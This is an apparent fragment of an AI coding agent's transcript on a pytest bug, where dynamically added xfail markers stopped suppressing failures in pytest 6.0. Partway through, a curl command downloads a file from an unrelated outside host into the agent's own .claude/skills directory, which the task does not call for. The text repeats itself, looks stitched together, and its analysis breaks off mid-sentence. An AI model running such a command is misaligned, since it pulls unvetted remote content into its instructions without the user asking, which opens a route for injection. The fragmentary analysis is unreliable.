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pytest-dev__pytest-7490

The issue is that in pytest 6.0.0rc0, dynamically adding an xfail marker using request.node.add_marker(mark) no longer ignores the test failure as it did in pytest 5.x.

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mkdir -p .claude/skills/pytest-dev-pytest-7490 && curl -fsSL https://doutorai.pt/data/lib/skills__pytest-dev-pytest-7490.md -o .claude/skills/pytest-dev-pytest-7490/SKILL.md

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Content

Based on my knowledge of pytest and the issue description, I can analyze this problem:

The issue is that in pytest 6.0.0rc0, dynamically adding an `xfail` marker using `request.node.add_marker(mark)` no longer ignores the test failure as it did in pytest 5.x.

The hint mentions commit c9737ae914891027da5f0bd39494dd51a3b3f19f caused this regression. This commit was related to evaluating xfail markers at call time for the strict xfail feature.

The issue is in how pytest evaluates the xfail marker. In the refactored code, the xfail evaluation was moved to happen earlier (at setup time or cached

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